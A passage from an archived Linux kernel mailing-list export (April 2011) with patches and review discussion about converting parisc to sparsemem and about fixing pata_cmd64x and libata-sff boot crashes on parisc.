 	flush_cache_all_local(); /* start with known state */
 	flush_tlb_all_local(NULL);
 
-	for (i = 0; i < npmem_ranges; i++) {
-		unsigned long zones_size[MAX_NR_ZONES] = { 0, };
-
-		zones_size[ZONE_NORMAL] = pmem_ranges[i].pages;
-
-#ifdef CONFIG_DISCONTIGMEM
-		/* Need to initialize the pfnnid_map before we can initialize
-		   the zone */
-		{
-		    int j;
-		    for (j = (pmem_ranges[i].start_pfn >> PFNNID_SHIFT);
-			 j <= ((pmem_ranges[i].start_pfn + pmem_ranges[i].pages) >> PFNNID_SHIFT);
-			 j++) {
-			pfnnid_map[j] = i;
-		    }
-		}
-#endif
+	/*
+	 *  from here, the kernel and all of the physical memory is
+	 *  fully covered with page table entries.  This is required
+	 *  because sparse_init() is very memory greedy and will fall
+	 *  off the end of the kernel initial page mapping.
+	 */
+
+	sparse_init();
 
-		free_area_init_node(i, zones_size,
-				pmem_ranges[i].start_pfn, NULL);
+	for (i = 0; i < npmem_ranges; i++) {
+		unsigned long start = pmem_ranges[i].start_pfn;
+		unsigned long size = pmem_ranges[i].pages;
+		unsigned long end = start + size;
+
+		if (mem_start_pfn > start)
+			mem_start_pfn = start;
+		if (mem_end_pfn < end)
+			mem_end_pfn = end;
+		mem_size_pfn += size;
 	}
+
+	zones_size[ZONE_NORMAL] = mem_end_pfn - mem_start_pfn;
+	holes_size[ZONE_NORMAL] = zones_size[ZONE_NORMAL] - mem_size_pfn;
+
+	free_area_init_node(0, zones_size, mem_start_pfn, holes_size);
 }
 
 #ifdef CONFIG_PA20


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] convert parisc to sparsemem (was Re: [PATCH v3] mm:
	make expand_downwards symmetrical to expand_upwards)
Date: Sun, 24 Apr 2011 12:27:14 -0400
Organization: nrc.ca
Lines: 29
Approved: news@gmane.org
Message-ID: <20110424162713.GA1954@hiauly1.hia.nrc.ca>
References: <1303337718.2587.51.camel@mulgrave.site> <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com> <20110421221712.9184.A69D9226@jp.fujitsu.com> <1303403847.4025.11.camel@mulgrave.site> <alpine.DEB.2.00.1104211328000.5741@router.home> <1303411537.9048.3583.camel@nimitz> <1303507985.2590.47.camel@mulgrave.site> <1303583657.4116.11.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303662460 13174 80.91.229.12 (24 Apr 2011 16:27:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Apr 2011 16:27:40 +0000 (UTC)
Cc: Dave Hansen <dave@linux.vnet.ibm.com>, Christoph Lameter <cl@linux.com>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
	Tejun Heo <tj@kernel.org>, Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Sun Apr 24 18:27:31 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QE29i-0001zZ-Ly
	for glkm-linux-mm-2@m.gmane.org; Sun, 24 Apr 2011 18:27:30 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 03B7D8D0052; Sun, 24 Apr 2011 12:27:25 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id C62C58D003B; Sun, 24 Apr 2011 12:27:24 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C72A68D0052; Sun, 24 Apr 2011 12:27:23 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail190.messagelabs.com (mail190.messagelabs.com [216.82.249.51])
	by kanga.kvack.org (Postfix) with SMTP id BE7108D003B
	for <linux-mm@kvack.org>; Sun, 24 Apr 2011 12:27:22 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: dave@hiauly1.hia.nrc.ca
X-Msg-Ref: server-12.tower-190.messagelabs.com!1303662441!122398026!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [132.246.10.84]
X-SpamReason: No, hits=0.0 required=7.0 tests=
Original-Received: (qmail 27961 invoked from network); 24 Apr 2011 16:27:21 -0000
Original-Received: from hiauly1.hia.nrc.ca (HELO hiauly1.hia.nrc.ca) (132.246.10.84)
  by server-12.tower-190.messagelabs.com with SMTP; 24 Apr 2011 16:27:21 -0000
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A5BB947E2; Sun, 24 Apr 2011 12:27:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1303583657.4116.11.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61908 gmane.linux.kernel:1130408 gmane.linux.ports.parisc:3667
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61908>

On Sat, 23 Apr 2011, James Bottomley wrote:

> The boot sequence got a few seconds slower because now all of the loops
> over our pfn ranges actually have to skip through the holes (which takes
> time for 64GB).

On my rp3440, the biggest gap seems to be 265GB:

dave@mx3210:~$ cat /proc/iomem
00000000-3fffffff : System RAM
00000000-000009ff : PDC data (Page Zero)
00100000-004acfff : Kernel code
004ad000-00661fff : Kernel data
40000000-4fffffff : IOVA Space
100000000-27fdfffff : System RAM
4040000000-40ffffffff : System RAM

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot on
 parisc
Date: Sun, 24 Apr 2011 14:28:34 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1303673315.5231.9.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303673340 31148 80.91.229.12 (24 Apr 2011 19:29:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Apr 2011 19:29:00 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Sergei Shtylyov <sshtylyov@mvista.com>
To: linux-ide <linux-ide@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 24 21:28:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QE4zG-0001X8-4S
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Apr 2011 21:28:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754571Ab1DXT2p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Apr 2011 15:28:45 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:42282 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754228Ab1DXT2o (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Apr 2011 15:28:44 -0400
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 8A9CC74609;
	Sun, 24 Apr 2011 21:28:41 +0200 (CEST)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3668 gmane.linux.ide:49390
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3668>

currently libata-sff is completely ignoring the enabled/disabled status
of the interfaces.  This is a real problem on parisc because if you
touch a non responding memory area (i.e. a disabled interface) you crash
the box.

Fix by checking the CNTRL bits to see if the port is enabled before
trying to poke it.

James

---

James Bottomley (2):
  pata_cm64x: fix boot crash on parisc
  libata-sff: prevent irq descriptions for dummy ports

 drivers/ata/libata-sff.c  |    9 +++++++--
 drivers/ata/pata_cmd64x.c |   42 ++++++++++++++++++++++++++++++++++++++----
 include/linux/pci_ids.h   |    2 ++
 3 files changed, 47 insertions(+), 6 deletions(-)

-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: [PATCH 1/2] pata_cm64x: fix boot crash on parisc
Date: Sun, 24 Apr 2011 14:30:14 -0500
Lines: 118
Approved: news@gmane.org
Message-ID: <1303673414.5231.11.camel@mulgrave.site>
References: <1303673315.5231.9.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303673429 31604 80.91.229.12 (24 Apr 2011 19:30:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Apr 2011 19:30:29 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Sergei Shtylyov <sshtylyov@mvista.com>
To: linux-ide <linux-ide@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 24 21:30:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QE50f-0002Dk-47
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Apr 2011 21:30:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754571Ab1DXTaU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Apr 2011 15:30:20 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:42306 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754442Ab1DXTaT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Apr 2011 15:30:19 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 60EF374609;
	Sun, 24 Apr 2011 21:30:18 +0200 (CEST)
In-Reply-To: <1303673315.5231.9.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3669 gmane.linux.ide:49391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3669>

The old IDE cmd64x checks the status of the CNTRL register to see if
the ports are enabled before probing them.  pata_cmd64x doesn't do
this, which causes a HPMC on parisc when it tries to poke at the
secondary port because apparently the BAR isn't wired up (and a
non-responding piece of memory causes a HPMC).

Fix this by porting the CNTRL register port detection logic from IDE
cmd64x.  In addition, following converns from Alan Cox, add a check to
see if a mobility electronics bridge is the immediate parent and forgo
the check if it is (prevents problems on hotplug controllers).

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 drivers/ata/pata_cmd64x.c |   42 ++++++++++++++++++++++++++++++++++++++----
 include/linux/pci_ids.h   |    2 ++
 2 files changed, 40 insertions(+), 4 deletions(-)

diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
index 905ff76..7bafc16 100644
--- a/drivers/ata/pata_cmd64x.c
+++ b/drivers/ata/pata_cmd64x.c
@@ -41,6 +41,9 @@
 enum {
 	CFR 		= 0x50,
 		CFR_INTR_CH0  = 0x04,
+	CNTRL		= 0x51,
+		CNTRL_CH0     = 0x04,
+		CNTRL_CH1     = 0x08,
 	CMDTIM 		= 0x52,
 	ARTTIM0 	= 0x53,
 	DRWTIM0 	= 0x54,
@@ -328,9 +331,19 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 			.port_ops = &cmd648_port_ops
 		}
 	};
-	const struct ata_port_info *ppi[] = { &cmd_info[id->driver_data], NULL };
-	u8 mrdmode;
+	const struct ata_port_info *ppi[] = { 
+		&cmd_info[id->driver_data],
+		&cmd_info[id->driver_data],
+		NULL
+	};
+	u8 mrdmode, reg;
 	int rc;
+	struct pci_dev *bridge = pdev->bus->self;
+	/* mobility split bridges don't report enabled ports correctly */
+	int port_ok = !(bridge && bridge->vendor ==
+			PCI_VENDOR_ID_MOBILITY_ELECTRONICS);
+	/* all (with exceptions below) apart from 643 have CNTRL_CH0 bit */
+	int cntrl_ch0_ok = (id->driver_data != 0);
 
 	rc = pcim_enable_device(pdev);
 	if (rc)
@@ -341,11 +354,18 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 
 	if (pdev->device == PCI_DEVICE_ID_CMD_646) {
 		/* Does UDMA work ? */
-		if (pdev->revision > 4)
+		if (pdev->revision > 4) {
 			ppi[0] = &cmd_info[2];
+			ppi[1] = &cmd_info[2];
+		}
 		/* Early rev with other problems ? */
-		else if (pdev->revision == 1)
+		else if (pdev->revision == 1) {
 			ppi[0] = &cmd_info[3];
+			ppi[1] = &cmd_info[3];
+		}
+		/* revs 1,2 have no CNTRL_CH0 */
+		if (pdev->revision < 3)
+			cntrl_ch0_ok = 0;
 	}
 
 	pci_write_config_byte(pdev, PCI_LATENCY_TIMER, 64);
@@ -354,6 +374,20 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 	mrdmode |= 0x02;	/* Memory read line enable */
 	pci_write_config_byte(pdev, MRDMODE, mrdmode);
 
+	/* check for enabled ports */
+	pci_read_config_byte(pdev, CNTRL, &reg);
+	if (!port_ok)
+		dev_printk(KERN_NOTICE, &pdev->dev, "Mobility Bridge detected, ignoring CNTRL port enable/disable\n");
+	if (port_ok && cntrl_ch0_ok && !(reg & CNTRL_CH0)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Primary port is disabled\n");
+		ppi[0] = &ata_dummy_port_info;
+		
+	}
+	if (port_ok && !(reg & CNTRL_CH1)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Secondary port is disabled\n");
+		ppi[1] = &ata_dummy_port_info;
+	}
+
 	/* Force PIO 0 here.. */
 
 	/* PPC specific fixup copied from old driver */
diff --git a/include/linux/pci_ids.h b/include/linux/pci_ids.h
index 4e2c915..7a0ac45 100644
--- a/include/linux/pci_ids.h
+++ b/include/linux/pci_ids.h
@@ -608,6 +608,8 @@
 #define PCI_DEVICE_ID_MATROX_G550	0x2527
 #define PCI_DEVICE_ID_MATROX_VIA	0x4536
 
+#define PCI_VENDOR_ID_MOBILITY_ELECTRONICS	0x14f2
+
 #define PCI_VENDOR_ID_CT		0x102c
 #define PCI_DEVICE_ID_CT_69000		0x00c0
 #define PCI_DEVICE_ID_CT_65545		0x00d8
-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: [PATCH 0/2] libata-sff: prevent irq descriptions for dummy ports
Date: Sun, 24 Apr 2011 14:31:33 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1303673493.5231.13.camel@mulgrave.site>
References: <1303673315.5231.9.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303673507 31938 80.91.229.12 (24 Apr 2011 19:31:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Apr 2011 19:31:47 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Sergei Shtylyov <sshtylyov@mvista.com>
To: linux-ide <linux-ide@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 24 21:31:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QE51u-0002Dk-Eu
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Apr 2011 21:31:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754909Ab1DXTbh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Apr 2011 15:31:37 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:42320 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753635Ab1DXTbh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Apr 2011 15:31:37 -0400
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id C42E974609;
	Sun, 24 Apr 2011 21:31:36 +0200 (CEST)
In-Reply-To: <1303673315.5231.9.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3670 gmane.linux.ide:49392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3670>

This is a cosmetic change to prevent libata-sff adding irq
descriptions to dummy ports, since the information, while largely
unused, is erroneous.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 drivers/ata/libata-sff.c |    9 +++++++--
 1 files changed, 7 insertions(+), 2 deletions(-)

diff --git a/drivers/ata/libata-sff.c b/drivers/ata/libata-sff.c
index f8380ce..b1b926c 100644
--- a/drivers/ata/libata-sff.c
+++ b/drivers/ata/libata-sff.c
@@ -2447,13 +2447,18 @@ int ata_pci_sff_activate_host(struct ata_host *host,
 		return -ENOMEM;
 
 	if (!legacy_mode && pdev->irq) {
+		int i;
+
 		rc = devm_request_irq(dev, pdev->irq, irq_handler,
 				      IRQF_SHARED, drv_name, host);
 		if (rc)
 			goto out;
 
-		ata_port_desc(host->ports[0], "irq %d", pdev->irq);
-		ata_port_desc(host->ports[1], "irq %d", pdev->irq);
+		for (i = 0; i < 2; i++) {
+			if (ata_port_is_dummy(host->ports[i]))
+				continue;
+			ata_port_desc(host->ports[i], "irq %d", pdev->irq);
+		}
 	} else if (legacy_mode) {
 		if (!ata_port_is_dummy(host->ports[0])) {
 			rc = devm_request_irq(dev, ATA_PRIMARY_IRQ(pdev),
-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH] convert parisc to sparsemem (was Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards)
Date: Tue, 26 Apr 2011 09:32:13 +0900 (JST)
Lines: 56
Approved: news@gmane.org
Message-ID: <20110426093328.F33D.A69D9226@jp.fujitsu.com>
References: <1303507985.2590.47.camel@mulgrave.site> <1303583657.4116.11.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: dough.gmane.org 1303777947 10715 80.91.229.12 (26 Apr 2011 00:32:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2011 00:32:27 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com,
	Dave Hansen <dave@linux.vnet.ibm.com>,
	Christoph Lameter <cl@linux.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 26 02:32:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QEWCQ-0008K1-7h
	for glpp-linux-parisc@lo.gmane.org; Tue, 26 Apr 2011 02:32:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752913Ab1DZAcR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Apr 2011 20:32:17 -0400
Original-Received: from fgwmail5.fujitsu.co.jp ([192.51.44.35]:40532 "EHLO
	fgwmail5.fujitsu.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752590Ab1DZAcR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Apr 2011 20:32:17 -0400
Original-Received: from m4.gw.fujitsu.co.jp (unknown [10.0.50.74])
	by fgwmail5.fujitsu.co.jp (Postfix) with ESMTP id 2F0663EE0C2;
	Tue, 26 Apr 2011 09:32:15 +0900 (JST)
Original-Received: from smail (m4 [127.0.0.1])
	by outgoing.m4.gw.fujitsu.co.jp (Postfix) with ESMTP id F014545DE58;
	Tue, 26 Apr 2011 09:32:14 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (s4.gw.fujitsu.co.jp [10.0.50.94])
	by m4.gw.fujitsu.co.jp (Postfix) with ESMTP id CD31F45DE52;
	Tue, 26 Apr 2011 09:32:14 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id BECDEE78007;
	Tue, 26 Apr 2011 09:32:14 +0900 (JST)
Original-Received: from ml13.s.css.fujitsu.com (ml13.s.css.fujitsu.com [10.240.81.133])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id 7F7F71DB803E;
	Tue, 26 Apr 2011 09:32:14 +0900 (JST)
Original-Received: from ml13.css.fujitsu.com (ml13 [127.0.0.1])
	by ml13.s.css.fujitsu.com (Postfix) with ESMTP id 52AB9FD000A;
	Tue, 26 Apr 2011 09:32:14 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by ml13.s.css.fujitsu.com (Postfix) with ESMTP id 9D3CBFD0002;
	Tue, 26 Apr 2011 09:32:13 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Tue, 26 Apr 2011 09:33:55 +0900 (JST)
In-Reply-To: <1303583657.4116.11.camel@mulgrave.site>
X-Mailer: Becky! ver. 2.56.05 [ja]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3671 gmane.linux.kernel.mm:61974 gmane.linux.kernel:1130934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3671>

Hi James,

 % make CROSS_COMPILE=hppa64-linux- ARCH=parisc
  CHK     include/linux/version.h
  CHK     include/generated/utsrelease.h
  CC      arch/parisc/kernel/asm-offsets.s
In file included from include/linux/topology.h:32:0,
                 from include/linux/sched.h:78,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/linux/mmzone.h:916:27: fatal error: asm/sparsemem.h: No such file or directory

Parhaps, you forgot to quilt add?


> This is the preliminary conversion.  It's very nasty on parisc because
> the memory allocation isn't symmetric anymore: under DISCONTIGMEM, we
> push all memory into bootmem and then let free_all_bootmem() do the
> magic for us; now we have to do separate initialisations for ranges
> because SPARSEMEM can't do multi-range boot memory. It's also got the
> horrible hack that I only use the first found range for bootmem.  I'm
> not sure if this is correct (it won't be if the first found range can be
> under about 50MB because we'll run out of bootmem during boot) ... we
> might have to sort the ranges and use the larges, but that will involve
> us in even more hackery around the bootmem reservations code.
> 
> The boot sequence got a few seconds slower because now all of the loops
> over our pfn ranges actually have to skip through the holes (which takes
> time for 64GB).
> 
> All in all, I've not been very impressed with SPARSEMEM over
> DISCONTIGMEM.  It seems to have a lot of rough edges (necessitating
> exception code) which DISCONTIGMEM just copes with.
> 
> And before you say the code is smaller, that's because I converted us to
> generic show_mem().

Cool! I hoped to remove arch specific show_mem() long time.


And, nitpick comment.

Could you please use #ifdef CONFIG_FLAGMEM instead #ifndef CONFIG_SPARSEMEM?
MM gyes parse '#ifndef CONFIG_SPARSEMEM' as valid-both-flatmem-and-discontigmem.
but this code isn't.

If my quick grep is correct, all of your #ifndef SPARSEMEM can be converted
#ifdef FALTMEM.




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Hansen <dave@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH] convert parisc to sparsemem (was Re: [PATCH v3] mm:
 make expand_downwards symmetrical to expand_upwards)
Date: Wed, 27 Apr 2011 09:36:29 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <1303922189.9516.33.camel@nimitz>
References: <1303337718.2587.51.camel@mulgrave.site>
